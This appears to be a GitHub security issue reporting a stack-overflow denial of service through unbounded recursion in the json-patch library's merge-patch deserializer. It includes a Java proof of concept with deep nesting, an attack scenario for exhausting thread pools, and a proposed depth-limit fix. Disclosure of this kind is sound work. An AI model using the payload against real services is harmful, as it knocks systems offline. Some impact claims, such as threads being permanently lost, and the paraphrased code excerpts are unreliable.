Skip to content

[Security] Stack Overflow DoS via Uncontrolled Recursion in JsonMergePatch Deserialization #168

Description

@york-shen

Security Vulnerability Report

Metadata

Field Value
Affected Version 1.13 (latest on Maven Central)
Component JsonMergePatchDeserializer.deserialize()
File src/main/java/com/github/fge/jsonpatch/mergepatch/JsonMergePatchDeserializer.java:87
CWE CWE-674 (Uncontrolled Recursion)
CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

JsonMergePatch.fromJson() uses a recursive deserializer (JsonMergePatchDeserializer) that recurses without any depth limit. A deeply nested JSON object (2000+ levels) causes StackOverflowError, killing the processing thread. This is a separate code path from Jackson's own parsing — even if Jackson 2.15+ limits parsing depth to 1000, a programmatically-built JsonNode passed to JsonMergePatch.fromJson() still triggers the unguarded recursion.

Root Cause

// src/main/java/com/github/fge/jsonpatch/mergepatch/JsonMergePatchDeserializer.java:87
@Override
public JsonMergePatch deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
    JsonNode node = p.readValueAsTree();
    // ...
    if (node.isObject()) {
        // For each field in the object:
        for (Map.Entry<String, JsonNode> entry : ...) {
            // RECURSIVE CALL — no depth counter!
            JsonMergePatch child = deserialize(entry.getValue(), ctxt);  // Line 87
            // ...
        }
    }
    // ...
}

The recursive call at line 87 has no depth guard — it recurses as deep as the input JSON structure goes.

Proof of Concept

Runtime verified on VM with OpenJDK 21 (-Xss256k):

--- Test 3: Stack Overflow in MergePatch Deserialization ---
VULNERABLE: StackOverflowError in JsonMergePatch.fromJson() at depth=2000

Minimal reproduction:

import com.github.fge.jsonpatch.mergepatch.JsonMergePatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;

ObjectMapper mapper = new ObjectMapper();

// Build a 2000-level deep nested JSON object programmatically
ObjectNode root = mapper.createObjectNode();
ObjectNode current = root;
for (int i = 0; i < 2000; i++) {
    ObjectNode child = mapper.createObjectNode();
    current.set("nested", child);
    current = child;
}
current.put("leaf", "value");

// This throws StackOverflowError — killing the thread
JsonMergePatch patch = JsonMergePatch.fromJson(root);  // CRASH!

Attack scenario:

  1. Attacker sends HTTP request with a deeply nested JSON body (2000+ levels)
  2. Application calls JsonMergePatch.fromJson() on the parsed body
  3. JsonMergePatchDeserializer recurses 2000 times without depth check
  4. StackOverflowError thrown — thread is killed (unrecoverable)
  5. Repeated requests exhaust thread pool

Why This Is NOT Covered by CVE-2020-36518

CVE-2020-36518 addresses Jackson's ObjectMapper.readTree() parsing depth — fixed in Jackson 2.15+ via StreamReadConstraints (default max depth: 1000).

This vulnerability is different because:

  1. The unguarded recursion is in json-patch's own JsonMergePatchDeserializer, not in Jackson
  2. If the application parses JSON first (subject to Jackson's limit) then passes the JsonNode to JsonMergePatch.fromJson(), the json-patch recursion still has no guard
  3. Even with Jackson 2.15+ protecting the parsing layer, programmatically-built deep JsonNode trees bypass Jackson's protection entirely

Impact

  • Denial of Service: Thread killed by StackOverflowError (unrecoverable — cannot be caught reliably)
  • Thread pool exhaustion: Each crashed thread is permanently lost until JVM restart
  • Low attack cost: Single HTTP request with ~40KB payload (2000 nested {"nested": prefixes)
  • No authentication required: Any endpoint using JsonMergePatch

Suggested Remediation

Add a depth counter parameter to the recursive deserialize() call:

private static final int MAX_DEPTH = 1000;

private JsonMergePatch deserialize(JsonNode node, DeserializationContext ctxt, int depth) throws IOException {
    if (depth > MAX_DEPTH) {
        throw new JsonProcessingException("JSON Merge Patch exceeds maximum nesting depth: " + MAX_DEPTH);
    }
    if (node.isObject()) {
        for (Map.Entry<String, JsonNode> entry : ...) {
            JsonMergePatch child = deserialize(entry.getValue(), ctxt, depth + 1);
            // ...
        }
    }
    // ...
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions